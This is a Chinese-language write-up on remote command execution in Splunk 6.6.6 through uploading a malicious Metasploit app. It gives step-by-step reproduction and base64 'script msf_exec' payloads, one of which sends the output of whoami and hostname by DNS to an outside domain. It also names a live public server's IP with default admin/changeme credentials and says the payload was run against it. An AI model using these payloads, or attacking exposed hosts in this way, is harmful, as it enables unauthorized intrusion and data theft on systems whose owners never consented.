1、漏洞产生原理

       Splunk允许在使用超级管理员权限登录后,在“应用”-“管理应用”功能里,通过上传本地文件或者从网络安装新的应用。通过构造恶意的应用,攻击者可以实现远程命令执行。和Tomcat 登进manager/html 部署war拿shell类似


2、漏洞复现如下:复现版本:splunk6.6.6


第一步,打开找到从本地上传文件,安装应用的页面:

 screenshot-1.png


第二步,选择和上传恶意的App文件,并安装

 [^upload_app_exec.tgz]  msfconsole提供的文件

https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/splunk/upload_app_exec.tgz 


screenshot-2.png


安装后,在应用里出现新安装的恶意应用(第四个)

 screenshot-3.png


第三步,任意Splunk用户均可触发执行任意的系统命令

payload:

* | script msf_exec ZWNobyBoZWxsb19rb21pXzIwMTg+L3RtcC94eHh4b29vbw==

 screenshot-4.png

        公网找的一个测试地址:

        http://50.112.233.208:8000/

        默认账号密码:admin/changeme

            构造payload:

            * | script msf_exec cGluZyBgd2hvYW1pYC5gaG9zdG5hbWVgLnNwbHVuay54Lnhma3hmay5jb20=


image.png

   满满的爱。。。


3. 漏洞影响评估

      从漏洞产生原理来看,是由于Splunk对安装应用没有做恶意检测造成。因为这是正常的功能,Splunk官方不认为是安全漏洞,但攻击者拿到system权限后可以通过利用这个正常的功能实现对操作系统的控制。恶意应用可以是本地构造的上传文件,也可能是官方推送的”更多的应用“。从Zoomeye看分布情况。https://www.zoomeye.org/searchResult?q=Splunk 还好,暴露在公网的不算多。大部分都是改过默认密码的。。

image.png


4. 修改建议

      建议直接禁用了新应用安装功能

5. 参考

    https://www.exploit-db.com/exploits/23224/